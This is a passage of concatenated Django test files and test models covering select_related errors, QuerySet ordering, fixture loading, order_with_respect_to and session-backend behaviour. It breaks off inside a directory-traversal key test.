        with self.assertRaisesMessage(FieldError, self.invalid_error % ('related_invalid_field', 'family')):
            list(Species.objects.select_related('genus__related_invalid_field'))

        with self.assertRaisesMessage(FieldError, self.invalid_error % ('invalid_field', '(none)')):
            list(Domain.objects.select_related('invalid_field'))

    def test_generic_relations(self):
        with self.assertRaisesMessage(FieldError, self.invalid_error % ('tags', '')):
            list(Bookmark.objects.select_related('tags'))

        with self.assertRaisesMessage(FieldError, self.invalid_error % ('content_object', 'content_type')):
            list(TaggedItem.objects.select_related('content_object'))






"""
Specifying ordering

Specify default ordering for a model using the ``ordering`` attribute, which
should be a list or tuple of field names. This tells Django how to order
``QuerySet`` results.

If a field name in ``ordering`` starts with a hyphen, that field will be
ordered in descending order. Otherwise, it'll be ordered in ascending order.
The special-case field name ``"?"`` specifies random order.

The ordering attribute is not required. If you leave it off, ordering will be
undefined -- not random, just undefined.
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


class Author(models.Model):
    class Meta:
        ordering = ('-pk',)


@python_2_unicode_compatible
class Article(models.Model):
    author = models.ForeignKey(Author, models.SET_NULL, null=True)
    second_author = models.ForeignKey(Author, models.SET_NULL, null=True)
    headline = models.CharField(max_length=100)
    pub_date = models.DateTimeField()

    class Meta:
        ordering = ('-pub_date', 'headline')

    def __str__(self):
        return self.headline


class OrderedByAuthorArticle(Article):
    class Meta:
        proxy = True
        ordering = ('author', 'second_author')


class Reference(models.Model):
    article = models.ForeignKey(OrderedByAuthorArticle, models.CASCADE)

    class Meta:
        ordering = ('article',)












from __future__ import unicode_literals

from datetime import datetime
from operator import attrgetter

from django.db.models import F
from django.test import TestCase

from .models import Article, Author, Reference


class OrderingTests(TestCase):
    def setUp(self):
        self.a1 = Article.objects.create(
            headline="Article 1", pub_date=datetime(2005, 7, 26)
        )
        self.a2 = Article.objects.create(
            headline="Article 2", pub_date=datetime(2005, 7, 27)
        )
        self.a3 = Article.objects.create(
            headline="Article 3", pub_date=datetime(2005, 7, 27)
        )
        self.a4 = Article.objects.create(
            headline="Article 4", pub_date=datetime(2005, 7, 28)
        )

    def test_default_ordering(self):
        """
        By default, Article.objects.all() orders by pub_date descending, then
        headline ascending.
        """
        self.assertQuerysetEqual(
            Article.objects.all(), [
                "Article 4",
                "Article 2",
                "Article 3",
                "Article 1",
            ],
            attrgetter("headline")
        )

        # Getting a single item should work too:
        self.assertEqual(Article.objects.all()[0], self.a4)

    def test_default_ordering_override(self):
        """
        Override ordering with order_by, which is in the same format as the
        ordering attribute in models.
        """
        self.assertQuerysetEqual(
            Article.objects.order_by("headline"), [
                "Article 1",
                "Article 2",
                "Article 3",
                "Article 4",
            ],
            attrgetter("headline")
        )
        self.assertQuerysetEqual(
            Article.objects.order_by("pub_date", "-headline"), [
                "Article 1",
                "Article 3",
                "Article 2",
                "Article 4",
            ],
            attrgetter("headline")
        )

    def test_order_by_override(self):
        """
        Only the last order_by has any effect (since they each override any
        previous ordering).
        """
        self.assertQuerysetEqual(
            Article.objects.order_by("id"), [
                "Article 1",
                "Article 2",
                "Article 3",
                "Article 4",
            ],
            attrgetter("headline")
        )
        self.assertQuerysetEqual(
            Article.objects.order_by("id").order_by("-headline"), [
                "Article 4",
                "Article 3",
                "Article 2",
                "Article 1",
            ],
            attrgetter("headline")
        )

    def test_stop_slicing(self):
        """
        Use the 'stop' part of slicing notation to limit the results.
        """
        self.assertQuerysetEqual(
            Article.objects.order_by("headline")[:2], [
                "Article 1",
                "Article 2",
            ],
            attrgetter("headline")
        )

    def test_stop_start_slicing(self):
        """
        Use the 'stop' and 'start' parts of slicing notation to offset the
        result list.
        """
        self.assertQuerysetEqual(
            Article.objects.order_by("headline")[1:3], [
                "Article 2",
                "Article 3",
            ],
            attrgetter("headline")
        )

    def test_random_ordering(self):
        """
        Use '?' to order randomly.
        """
        self.assertEqual(
            len(list(Article.objects.order_by("?"))), 4
        )

    def test_reversed_ordering(self):
        """
        Ordering can be reversed using the reverse() method on a queryset.
        This allows you to extract things like "the last two items" (reverse
        and then take the first two).
        """
        self.assertQuerysetEqual(
            Article.objects.all().reverse()[:2], [
                "Article 1",
                "Article 3",
            ],
            attrgetter("headline")
        )

    def test_reverse_ordering_pure(self):
        qs1 = Article.objects.order_by(F('headline').asc())
        qs2 = qs1.reverse()
        self.assertQuerysetEqual(
            qs1, [
                "Article 1",
                "Article 2",
                "Article 3",
                "Article 4",
            ],
            attrgetter("headline")
        )
        self.assertQuerysetEqual(
            qs2, [
                "Article 4",
                "Article 3",
                "Article 2",
                "Article 1",
            ],
            attrgetter("headline")
        )

    def test_extra_ordering(self):
        """
        Ordering can be based on fields included from an 'extra' clause
        """
        self.assertQuerysetEqual(
            Article.objects.extra(select={"foo": "pub_date"}, order_by=["foo", "headline"]), [
                "Article 1",
                "Article 2",
                "Article 3",
                "Article 4",
            ],
            attrgetter("headline")
        )

    def test_extra_ordering_quoting(self):
        """
        If the extra clause uses an SQL keyword for a name, it will be
        protected by quoting.
        """
        self.assertQuerysetEqual(
            Article.objects.extra(select={"order": "pub_date"}, order_by=["order", "headline"]), [
                "Article 1",
                "Article 2",
                "Article 3",
                "Article 4",
            ],
            attrgetter("headline")
        )

    def test_extra_ordering_with_table_name(self):
        self.assertQuerysetEqual(
            Article.objects.extra(order_by=['ordering_article.headline']), [
                "Article 1",
                "Article 2",
                "Article 3",
                "Article 4",
            ],
            attrgetter("headline")
        )
        self.assertQuerysetEqual(
            Article.objects.extra(order_by=['-ordering_article.headline']), [
                "Article 4",
                "Article 3",
                "Article 2",
                "Article 1",
            ],
            attrgetter("headline")
        )

    def test_order_by_pk(self):
        """
        Ensure that 'pk' works as an ordering option in Meta.
        Refs #8291.
        """
        Author.objects.create(pk=1)
        Author.objects.create(pk=2)
        Author.objects.create(pk=3)
        Author.objects.create(pk=4)

        self.assertQuerysetEqual(
            Author.objects.all(), [
                4, 3, 2, 1
            ],
            attrgetter("pk")
        )

    def test_order_by_fk_attname(self):
        """
        Ensure that ordering by a foreign key by its attribute name prevents
        the query from inheriting its related model ordering option.
        Refs #19195.
        """
        for i in range(1, 5):
            author = Author.objects.create(pk=i)
            article = getattr(self, "a%d" % (5 - i))
            article.author = author
            article.save(update_fields={'author'})

        self.assertQuerysetEqual(
            Article.objects.order_by('author_id'), [
                "Article 4",
                "Article 3",
                "Article 2",
                "Article 1",
            ],
            attrgetter("headline")
        )

    def test_order_by_f_expression(self):
        self.assertQuerysetEqual(
            Article.objects.order_by(F('headline')), [
                "Article 1",
                "Article 2",
                "Article 3",
                "Article 4",
            ],
            attrgetter("headline")
        )
        self.assertQuerysetEqual(
            Article.objects.order_by(F('headline').asc()), [
                "Article 1",
                "Article 2",
                "Article 3",
                "Article 4",
            ],
            attrgetter("headline")
        )
        self.assertQuerysetEqual(
            Article.objects.order_by(F('headline').desc()), [
                "Article 4",
                "Article 3",
                "Article 2",
                "Article 1",
            ],
            attrgetter("headline")
        )

    def test_order_by_f_expression_duplicates(self):
        """
        A column may only be included once (the first occurrence) so we check
        to ensure there are no duplicates by inspecting the SQL.
        """
        qs = Article.objects.order_by(F('headline').asc(), F('headline').desc())
        sql = str(qs.query).upper()
        fragment = sql[sql.find('ORDER BY'):]
        self.assertEqual(fragment.count('HEADLINE'), 1)
        self.assertQuerysetEqual(
            qs, [
                "Article 1",
                "Article 2",
                "Article 3",
                "Article 4",
            ],
            attrgetter("headline")
        )
        qs = Article.objects.order_by(F('headline').desc(), F('headline').asc())
        sql = str(qs.query).upper()
        fragment = sql[sql.find('ORDER BY'):]
        self.assertEqual(fragment.count('HEADLINE'), 1)
        self.assertQuerysetEqual(
            qs, [
                "Article 4",
                "Article 3",
                "Article 2",
                "Article 1",
            ],
            attrgetter("headline")
        )

    def test_related_ordering_duplicate_table_reference(self):
        """
        An ordering referencing a model with an ordering referencing a model
        multiple time no circular reference should be detected (#24654).
        """
        first_author = Author.objects.create()
        second_author = Author.objects.create()
        self.a1.author = first_author
        self.a1.second_author = second_author
        self.a1.save()
        self.a2.author = second_author
        self.a2.second_author = first_author
        self.a2.save()
        r1 = Reference.objects.create(article_id=self.a1.pk)
        r2 = Reference.objects.create(article_id=self.a2.pk)
        self.assertQuerysetEqual(Reference.objects.all(), [r2, r1], lambda x: x)












from __future__ import unicode_literals

from django.core import management
from django.core.management import CommandError
from django.test import TestCase

from .models import Article


class SampleTestCase(TestCase):
    fixtures = ['fixture1.json', 'fixture2.json']

    def testClassFixtures(self):
        "Test cases can load fixture objects into models defined in packages"
        self.assertEqual(Article.objects.count(), 3)
        self.assertQuerysetEqual(
            Article.objects.all(), [
                "Django conquers world!",
                "Copyright is fine the way it is",
                "Poker has no place on ESPN",
            ],
            lambda a: a.headline
        )


class FixtureTestCase(TestCase):

    def test_loaddata(self):
        "Fixtures can load data into models defined in packages"
        # Load fixture 1. Single JSON file, with two objects
        management.call_command("loaddata", "fixture1.json", verbosity=0)
        self.assertQuerysetEqual(
            Article.objects.all(), [
                "Time to reform copyright",
                "Poker has no place on ESPN",
            ],
            lambda a: a.headline,
        )

        # Load fixture 2. JSON file imported by default. Overwrites some
        # existing objects
        management.call_command("loaddata", "fixture2.json", verbosity=0)
        self.assertQuerysetEqual(
            Article.objects.all(), [
                "Django conquers world!",
                "Copyright is fine the way it is",
                "Poker has no place on ESPN",
            ],
            lambda a: a.headline,
        )

        # Load a fixture that doesn't exist
        with self.assertRaisesMessage(CommandError, "No fixture named 'unknown' found."):
            management.call_command("loaddata", "unknown.json", verbosity=0)

        self.assertQuerysetEqual(
            Article.objects.all(), [
                "Django conquers world!",
                "Copyright is fine the way it is",
                "Poker has no place on ESPN",
            ],
            lambda a: a.headline,
        )






from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100, default='Default headline')
    pub_date = models.DateTimeField()

    def __str__(self):
        return self.headline

    class Meta:
        app_label = 'fixtures_model_package'
        ordering = ('-pub_date', 'headline')






"""
Tests for the order_with_respect_to Meta attribute.
"""

from django.db import models
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible


class Question(models.Model):
    text = models.CharField(max_length=200)


@python_2_unicode_compatible
class Answer(models.Model):
    text = models.CharField(max_length=200)
    question = models.ForeignKey(Question, models.CASCADE)

    class Meta:
        order_with_respect_to = 'question'

    def __str__(self):
        return six.text_type(self.text)


@python_2_unicode_compatible
class Post(models.Model):
    title = models.CharField(max_length=200)
    parent = models.ForeignKey("self", models.SET_NULL, related_name="children", null=True)

    class Meta:
        order_with_respect_to = "parent"

    def __str__(self):
        return self.title


# order_with_respect_to points to a model with a OneToOneField primary key.
class Entity(models.Model):
    pass


class Dimension(models.Model):
    entity = models.OneToOneField('Entity', primary_key=True, on_delete=models.CASCADE)


class Component(models.Model):
    dimension = models.ForeignKey('Dimension', on_delete=models.CASCADE)

    class Meta:
        order_with_respect_to = 'dimension'












from __future__ import unicode_literals

from operator import attrgetter

from django.db import models
from django.test import TestCase
from django.test.utils import isolate_apps

from .base_tests import BaseOrderWithRespectToTests
from .models import Answer, Dimension, Entity, Post, Question


class OrderWithRespectToBaseTests(BaseOrderWithRespectToTests, TestCase):
    Answer = Answer
    Post = Post
    Question = Question


class OrderWithRespectToTests(TestCase):

    @isolate_apps('order_with_respect_to')
    def test_duplicate_order_field(self):
        class Bar(models.Model):
            class Meta:
                app_label = 'order_with_respect_to'

        class Foo(models.Model):
            bar = models.ForeignKey(Bar, models.CASCADE)
            order = models.OrderWrt()

            class Meta:
                order_with_respect_to = 'bar'
                app_label = 'order_with_respect_to'

        count = 0
        for field in Foo._meta.local_fields:
            if isinstance(field, models.OrderWrt):
                count += 1

        self.assertEqual(count, 1)


class TestOrderWithRespectToOneToOnePK(TestCase):
    def test_set_order(self):
        e = Entity.objects.create()
        d = Dimension.objects.create(entity=e)
        c1 = d.component_set.create()
        c2 = d.component_set.create()
        d.set_component_order([c1.id, c2.id])
        self.assertQuerysetEqual(d.component_set.all(), [c1.id, c2.id], attrgetter('pk'))






"""
The tests are shared with contenttypes_tests and so shouldn't import or
reference any models directly. Subclasses should inherit django.test.TestCase.
"""
from __future__ import unicode_literals

from operator import attrgetter


class BaseOrderWithRespectToTests(object):
    # Hook to allow subclasses to run these tests with alternate models.
    Answer = None
    Post = None
    Question = None

    @classmethod
    def setUpTestData(cls):
        cls.q1 = cls.Question.objects.create(text="Which Beatle starts with the letter 'R'?")
        cls.Answer.objects.create(text="John", question=cls.q1)
        cls.Answer.objects.create(text="Paul", question=cls.q1)
        cls.Answer.objects.create(text="George", question=cls.q1)
        cls.Answer.objects.create(text="Ringo", question=cls.q1)

    def test_default_to_insertion_order(self):
        # Answers will always be ordered in the order they were inserted.
        self.assertQuerysetEqual(
            self.q1.answer_set.all(), [
                "John", "Paul", "George", "Ringo",
            ],
            attrgetter("text"),
        )

    def test_previous_and_next_in_order(self):
        # We can retrieve the answers related to a particular object, in the
        # order they were created, once we have a particular object.
        a1 = self.q1.answer_set.all()[0]
        self.assertEqual(a1.text, "John")
        self.assertEqual(a1.get_next_in_order().text, "Paul")

        a2 = list(self.q1.answer_set.all())[-1]
        self.assertEqual(a2.text, "Ringo")
        self.assertEqual(a2.get_previous_in_order().text, "George")

    def test_item_ordering(self):
        # We can retrieve the ordering of the queryset from a particular item.
        a1 = self.q1.answer_set.all()[1]
        id_list = [o.pk for o in self.q1.answer_set.all()]
        self.assertSequenceEqual(a1.question.get_answer_order(), id_list)

        # It doesn't matter which answer we use to check the order, it will
        # always be the same.
        a2 = self.Answer.objects.create(text="Number five", question=self.q1)
        self.assertListEqual(
            list(a1.question.get_answer_order()), list(a2.question.get_answer_order())
        )

    def test_change_ordering(self):
        # The ordering can be altered
        a = self.Answer.objects.create(text="Number five", question=self.q1)

        # Swap the last two items in the order list
        id_list = [o.pk for o in self.q1.answer_set.all()]
        x = id_list.pop()
        id_list.insert(-1, x)

        # By default, the ordering is different from the swapped version
        self.assertNotEqual(list(a.question.get_answer_order()), id_list)

        # Change the ordering to the swapped version -
        # this changes the ordering of the queryset.
        a.question.set_answer_order(id_list)
        self.assertQuerysetEqual(
            self.q1.answer_set.all(), [
                "John", "Paul", "George", "Number five", "Ringo"
            ],
            attrgetter("text")
        )

    def test_recursive_ordering(self):
        p1 = self.Post.objects.create(title="1")
        p2 = self.Post.objects.create(title="2")
        p1_1 = self.Post.objects.create(title="1.1", parent=p1)
        p1_2 = self.Post.objects.create(title="1.2", parent=p1)
        self.Post.objects.create(title="2.1", parent=p2)
        p1_3 = self.Post.objects.create(title="1.3", parent=p1)
        self.assertSequenceEqual(p1.get_post_order(), [p1_1.pk, p1_2.pk, p1_3.pk])






"""
This custom Session model adds an extra column to store an account ID. In
real-world applications, it gives you the option of querying the database for
all active sessions for a particular account.
"""
from django.contrib.sessions.backends.db import SessionStore as DBStore
from django.contrib.sessions.base_session import AbstractBaseSession
from django.db import models


class CustomSession(AbstractBaseSession):
    """
    A session model with a column for an account ID.
    """
    account_id = models.IntegerField(null=True, db_index=True)

    @classmethod
    def get_session_store_class(cls):
        return SessionStore


class SessionStore(DBStore):
    """
    A database session store, that handles updating the account ID column
    inside the custom session model.
    """
    @classmethod
    def get_model_class(cls):
        return CustomSession

    def create_model_instance(self, data):
        obj = super(SessionStore, self).create_model_instance(data)

        try:
            account_id = int(data.get('_auth_user_id'))
        except (ValueError, TypeError):
            account_id = None
        obj.account_id = account_id

        return obj












import base64
import os
import shutil
import string
import sys
import tempfile
import unittest
from datetime import timedelta

from django.conf import settings
from django.contrib.sessions.backends.base import UpdateError
from django.contrib.sessions.backends.cache import SessionStore as CacheSession
from django.contrib.sessions.backends.cached_db import \
    SessionStore as CacheDBSession
from django.contrib.sessions.backends.db import SessionStore as DatabaseSession
from django.contrib.sessions.backends.file import SessionStore as FileSession
from django.contrib.sessions.backends.signed_cookies import \
    SessionStore as CookieSession
from django.contrib.sessions.exceptions import InvalidSessionKey
from django.contrib.sessions.middleware import SessionMiddleware
from django.contrib.sessions.models import Session
from django.contrib.sessions.serializers import (
    JSONSerializer, PickleSerializer,
)
from django.core import management
from django.core.cache import caches
from django.core.cache.backends.base import InvalidCacheBackendError
from django.core.exceptions import ImproperlyConfigured
from django.http import HttpResponse
from django.test import (
    RequestFactory, TestCase, ignore_warnings, override_settings,
)
from django.test.utils import patch_logger
from django.utils import six, timezone
from django.utils.encoding import force_text
from django.utils.six.moves import http_cookies

from .models import SessionStore as CustomDatabaseSession


class SessionTestsMixin(object):
    # This does not inherit from TestCase to avoid any tests being run with this
    # class, which wouldn't work, and to allow different TestCase subclasses to
    # be used.

    backend = None  # subclasses must specify

    def setUp(self):
        self.session = self.backend()

    def tearDown(self):
        # NB: be careful to delete any sessions created; stale sessions fill up
        # the /tmp (with some backends) and eventually overwhelm it after lots
        # of runs (think buildbots)
        self.session.delete()

    def test_new_session(self):
        self.assertFalse(self.session.modified)
        self.assertFalse(self.session.accessed)

    def test_get_empty(self):
        self.assertIsNone(self.session.get('cat'))

    def test_store(self):
        self.session['cat'] = "dog"
        self.assertTrue(self.session.modified)
        self.assertEqual(self.session.pop('cat'), 'dog')

    def test_pop(self):
        self.session['some key'] = 'exists'
        # Need to reset these to pretend we haven't accessed it:
        self.accessed = False
        self.modified = False

        self.assertEqual(self.session.pop('some key'), 'exists')
        self.assertTrue(self.session.accessed)
        self.assertTrue(self.session.modified)
        self.assertIsNone(self.session.get('some key'))

    def test_pop_default(self):
        self.assertEqual(self.session.pop('some key', 'does not exist'),
                         'does not exist')
        self.assertTrue(self.session.accessed)
        self.assertFalse(self.session.modified)

    def test_pop_default_named_argument(self):
        self.assertEqual(self.session.pop('some key', default='does not exist'), 'does not exist')
        self.assertTrue(self.session.accessed)
        self.assertFalse(self.session.modified)

    def test_pop_no_default_keyerror_raised(self):
        with self.assertRaises(KeyError):
            self.session.pop('some key')

    def test_setdefault(self):
        self.assertEqual(self.session.setdefault('foo', 'bar'), 'bar')
        self.assertEqual(self.session.setdefault('foo', 'baz'), 'bar')
        self.assertTrue(self.session.accessed)
        self.assertTrue(self.session.modified)

    def test_update(self):
        self.session.update({'update key': 1})
        self.assertTrue(self.session.accessed)
        self.assertTrue(self.session.modified)
        self.assertEqual(self.session.get('update key', None), 1)

    def test_has_key(self):
        self.session['some key'] = 1
        self.session.modified = False
        self.session.accessed = False
        self.assertIn('some key', self.session)
        self.assertTrue(self.session.accessed)
        self.assertFalse(self.session.modified)

    def test_values(self):
        self.assertEqual(list(self.session.values()), [])
        self.assertTrue(self.session.accessed)
        self.session['some key'] = 1
        self.assertEqual(list(self.session.values()), [1])

    def test_iterkeys(self):
        self.session['x'] = 1
        self.session.modified = False
        self.session.accessed = False
        i = six.iterkeys(self.session)
        self.assertTrue(hasattr(i, '__iter__'))
        self.assertTrue(self.session.accessed)
        self.assertFalse(self.session.modified)
        self.assertEqual(list(i), ['x'])

    def test_itervalues(self):
        self.session['x'] = 1
        self.session.modified = False
        self.session.accessed = False
        i = six.itervalues(self.session)
        self.assertTrue(hasattr(i, '__iter__'))
        self.assertTrue(self.session.accessed)
        self.assertFalse(self.session.modified)
        self.assertEqual(list(i), [1])

    def test_iteritems(self):
        self.session['x'] = 1
        self.session.modified = False
        self.session.accessed = False
        i = six.iteritems(self.session)
        self.assertTrue(hasattr(i, '__iter__'))
        self.assertTrue(self.session.accessed)
        self.assertFalse(self.session.modified)
        self.assertEqual(list(i), [('x', 1)])

    def test_clear(self):
        self.session['x'] = 1
        self.session.modified = False
        self.session.accessed = False
        self.assertEqual(list(self.session.items()), [('x', 1)])
        self.session.clear()
        self.assertEqual(list(self.session.items()), [])
        self.assertTrue(self.session.accessed)
        self.assertTrue(self.session.modified)

    def test_save(self):
        self.session.save()
        self.assertTrue(self.session.exists(self.session.session_key))

    def test_delete(self):
        self.session.save()
        self.session.delete(self.session.session_key)
        self.assertFalse(self.session.exists(self.session.session_key))

    def test_flush(self):
        self.session['foo'] = 'bar'
        self.session.save()
        prev_key = self.session.session_key
        self.session.flush()
        self.assertFalse(self.session.exists(prev_key))
        self.assertNotEqual(self.session.session_key, prev_key)
        self.assertIsNone(self.session.session_key)
        self.assertTrue(self.session.modified)
        self.assertTrue(self.session.accessed)

    def test_cycle(self):
        self.session['a'], self.session['b'] = 'c', 'd'
        self.session.save()
        prev_key = self.session.session_key
        prev_data = list(self.session.items())
        self.session.cycle_key()
        self.assertFalse(self.session.exists(prev_key))
        self.assertNotEqual(self.session.session_key, prev_key)
        self.assertEqual(list(self.session.items()), prev_data)

    def test_cycle_with_no_session_cache(self):
        self.assertFalse(hasattr(self.session, '_session_cache'))
        self.session.cycle_key()

    def test_save_doesnt_clear_data(self):
        self.session['a'] = 'b'
        self.session.save()
        self.assertEqual(self.session['a'], 'b')

    def test_invalid_key(self):
        # Submitting an invalid session key (either by guessing, or if the db has
        # removed the key) results in a new key being generated.
        try:
            session = self.backend('1')
            session.save()
            self.assertNotEqual(session.session_key, '1')
            self.assertIsNone(session.get('cat'))
            session.delete()
        finally:
            # Some backends leave a stale cache entry for the invalid
            # session key; make sure that entry is manually deleted
            session.delete('1')

    def test_session_key_empty_string_invalid(self):
        """Falsey values (Such as an empty string) are rejected."""
        self.session._session_key = ''
        self.assertIsNone(self.session.session_key)

    def test_session_key_too_short_invalid(self):
        """Strings shorter than 8 characters are rejected."""
        self.session._session_key = '1234567'
        self.assertIsNone(self.session.session_key)

    def test_session_key_valid_string_saved(self):
        """Strings of length 8 and up are accepted and stored."""
        self.session._session_key = '12345678'
        self.assertEqual(self.session.session_key, '12345678')

    def test_session_key_is_read_only(self):
        def set_session_key(session):
            session.session_key = session._get_new_session_key()
        with self.assertRaises(AttributeError):
            set_session_key(self.session)

    # Custom session expiry
    def test_default_expiry(self):
        # A normal session has a max age equal to settings
        self.assertEqual(self.session.get_expiry_age(), settings.SESSION_COOKIE_AGE)

        # So does a custom session with an idle expiration time of 0 (but it'll
        # expire at browser close)
        self.session.set_expiry(0)
        self.assertEqual(self.session.get_expiry_age(), settings.SESSION_COOKIE_AGE)

    def test_custom_expiry_seconds(self):
        modification = timezone.now()

        self.session.set_expiry(10)

        date = self.session.get_expiry_date(modification=modification)
        self.assertEqual(date, modification + timedelta(seconds=10))

        age = self.session.get_expiry_age(modification=modification)
        self.assertEqual(age, 10)

    def test_custom_expiry_timedelta(self):
        modification = timezone.now()

        # Mock timezone.now, because set_expiry calls it on this code path.
        original_now = timezone.now
        try:
            timezone.now = lambda: modification
            self.session.set_expiry(timedelta(seconds=10))
        finally:
            timezone.now = original_now

        date = self.session.get_expiry_date(modification=modification)
        self.assertEqual(date, modification + timedelta(seconds=10))

        age = self.session.get_expiry_age(modification=modification)
        self.assertEqual(age, 10)

    def test_custom_expiry_datetime(self):
        modification = timezone.now()

        self.session.set_expiry(modification + timedelta(seconds=10))

        date = self.session.get_expiry_date(modification=modification)
        self.assertEqual(date, modification + timedelta(seconds=10))

        age = self.session.get_expiry_age(modification=modification)
        self.assertEqual(age, 10)

    def test_custom_expiry_reset(self):
        self.session.set_expiry(None)
        self.session.set_expiry(10)
        self.session.set_expiry(None)
        self.assertEqual(self.session.get_expiry_age(), settings.SESSION_COOKIE_AGE)

    def test_get_expire_at_browser_close(self):
        # Tests get_expire_at_browser_close with different settings and different
        # set_expiry calls
        with override_settings(SESSION_EXPIRE_AT_BROWSER_CLOSE=False):
            self.session.set_expiry(10)
            self.assertFalse(self.session.get_expire_at_browser_close())

            self.session.set_expiry(0)
            self.assertTrue(self.session.get_expire_at_browser_close())

            self.session.set_expiry(None)
            self.assertFalse(self.session.get_expire_at_browser_close())

        with override_settings(SESSION_EXPIRE_AT_BROWSER_CLOSE=True):
            self.session.set_expiry(10)
            self.assertFalse(self.session.get_expire_at_browser_close())

            self.session.set_expiry(0)
            self.assertTrue(self.session.get_expire_at_browser_close())

            self.session.set_expiry(None)
            self.assertTrue(self.session.get_expire_at_browser_close())

    def test_decode(self):
        # Ensure we can decode what we encode
        data = {'a test key': 'a test value'}
        encoded = self.session.encode(data)
        self.assertEqual(self.session.decode(encoded), data)

    def test_decode_failure_logged_to_security(self):
        bad_encode = base64.b64encode(b'flaskdj:alkdjf')
        with patch_logger('django.security.SuspiciousSession', 'warning') as calls:
            self.assertEqual({}, self.session.decode(bad_encode))
            # check that the failed decode is logged
            self.assertEqual(len(calls), 1)
            self.assertIn('corrupted', calls[0])

    def test_actual_expiry(self):
        # this doesn't work with JSONSerializer (serializing timedelta)
        with override_settings(SESSION_SERIALIZER='django.contrib.sessions.serializers.PickleSerializer'):
            self.session = self.backend()  # reinitialize after overriding settings

            # Regression test for #19200
            old_session_key = None
            new_session_key = None
            try:
                self.session['foo'] = 'bar'
                self.session.set_expiry(-timedelta(seconds=10))
                self.session.save()
                old_session_key = self.session.session_key
                # With an expiry date in the past, the session expires instantly.
                new_session = self.backend(self.session.session_key)
                new_session_key = new_session.session_key
                self.assertNotIn('foo', new_session)
            finally:
                self.session.delete(old_session_key)
                self.session.delete(new_session_key)

    def test_session_load_does_not_create_record(self):
        """
        Loading an unknown session key does not create a session record.

        Creating session records on load is a DOS vulnerability.
        """
        session = self.backend('someunknownkey')
        session.load()

        self.assertFalse(session.exists(session.session_key))
        # provided unknown key was cycled, not reused
        self.assertNotEqual(session.session_key, 'someunknownkey')

    def test_session_save_does_not_resurrect_session_logged_out_in_other_context(self):
        """
        Sessions shouldn't be resurrected by a concurrent request.
        """
        # Create new session.
        s1 = self.backend()
        s1['test_data'] = 'value1'
        s1.save(must_create=True)

        # Logout in another context.
        s2 = self.backend(s1.session_key)
        s2.delete()

        # Modify session in first context.
        s1['test_data'] = 'value2'
        with self.assertRaises(UpdateError):
            # This should throw an exception as the session is deleted, not
            # resurrect the session.
            s1.save()

        self.assertEqual(s1.load(), {})


class DatabaseSessionTests(SessionTestsMixin, TestCase):

    backend = DatabaseSession
    session_engine = 'django.contrib.sessions.backends.db'

    @property
    def model(self):
        return self.backend.get_model_class()

    def test_session_str(self):
        "Session repr should be the session key."
        self.session['x'] = 1
        self.session.save()

        session_key = self.session.session_key
        s = self.model.objects.get(session_key=session_key)

        self.assertEqual(force_text(s), session_key)

    def test_session_get_decoded(self):
        """
        Test we can use Session.get_decoded to retrieve data stored
        in normal way
        """
        self.session['x'] = 1
        self.session.save()

        s = self.model.objects.get(session_key=self.session.session_key)

        self.assertEqual(s.get_decoded(), {'x': 1})

    def test_sessionmanager_save(self):
        """
        Test SessionManager.save method
        """
        # Create a session
        self.session['y'] = 1
        self.session.save()

        s = self.model.objects.get(session_key=self.session.session_key)
        # Change it
        self.model.objects.save(s.session_key, {'y': 2}, s.expire_date)
        # Clear cache, so that it will be retrieved from DB
        del self.session._session_cache
        self.assertEqual(self.session['y'], 2)

    def test_clearsessions_command(self):
        """
        Test clearsessions command for clearing expired sessions.
        """
        self.assertEqual(0, self.model.objects.count())

        # One object in the future
        self.session['foo'] = 'bar'
        self.session.set_expiry(3600)
        self.session.save()

        # One object in the past
        other_session = self.backend()
        other_session['foo'] = 'bar'
        other_session.set_expiry(-3600)
        other_session.save()

        # Two sessions are in the database before clearsessions...
        self.assertEqual(2, self.model.objects.count())
        with override_settings(SESSION_ENGINE=self.session_engine):
            management.call_command('clearsessions')
        # ... and one is deleted.
        self.assertEqual(1, self.model.objects.count())


@override_settings(USE_TZ=True)
class DatabaseSessionWithTimeZoneTests(DatabaseSessionTests):
    pass


class CustomDatabaseSessionTests(DatabaseSessionTests):
    backend = CustomDatabaseSession
    session_engine = 'sessions_tests.models'

    def test_extra_session_field(self):
        # Set the account ID to be picked up by a custom session storage
        # and saved to a custom session model database column.
        self.session['_auth_user_id'] = 42
        self.session.save()

        # Make sure that the customized create_model_instance() was called.
        s = self.model.objects.get(session_key=self.session.session_key)
        self.assertEqual(s.account_id, 42)

        # Make the session "anonymous".
        self.session.pop('_auth_user_id')
        self.session.save()

        # Make sure that save() on an existing session did the right job.
        s = self.model.objects.get(session_key=self.session.session_key)
        self.assertIsNone(s.account_id)


class CacheDBSessionTests(SessionTestsMixin, TestCase):

    backend = CacheDBSession

    def test_exists_searches_cache_first(self):
        self.session.save()
        with self.assertNumQueries(0):
            self.assertTrue(self.session.exists(self.session.session_key))

    # Some backends might issue a warning
    @ignore_warnings(module="django.core.cache.backends.base")
    def test_load_overlong_key(self):
        self.session._session_key = (string.ascii_letters + string.digits) * 20
        self.assertEqual(self.session.load(), {})

    @override_settings(SESSION_CACHE_ALIAS='sessions')
    def test_non_default_cache(self):
        # 21000 - CacheDB backend should respect SESSION_CACHE_ALIAS.
        with self.assertRaises(InvalidCacheBackendError):
            self.backend()


@override_settings(USE_TZ=True)
class CacheDBSessionWithTimeZoneTests(CacheDBSessionTests):
    pass


# Don't need DB flushing for these tests, so can use unittest.TestCase as base class
class FileSessionTests(SessionTestsMixin, unittest.TestCase):

    backend = FileSession

    def setUp(self):
        # Do file session tests in an isolated directory, and kill it after we're done.
        self.original_session_file_path = settings.SESSION_FILE_PATH
        self.temp_session_store = settings.SESSION_FILE_PATH = tempfile.mkdtemp()
        # Reset the file session backend's internal caches
        if hasattr(self.backend, '_storage_path'):
            del self.backend._storage_path
        super(FileSessionTests, self).setUp()

    def tearDown(self):
        super(FileSessionTests, self).tearDown()
        settings.SESSION_FILE_PATH = self.original_session_file_path
        shutil.rmtree(self.temp_session_store)

    @override_settings(
        SESSION_FILE_PATH="/if/this/directory/exists/you/have/a/weird/computer")
    def test_configuration_check(self):
        del self.backend._storage_path
        # Make sure the file backend checks for a good storage dir
        with self.assertRaises(ImproperlyConfigured):
            self.backend()

    def test_invalid_key_backslash(self):
        # Ensure we don't allow directory-traversal.
        # This is tested directly on _key_to_file, as load() will swallow
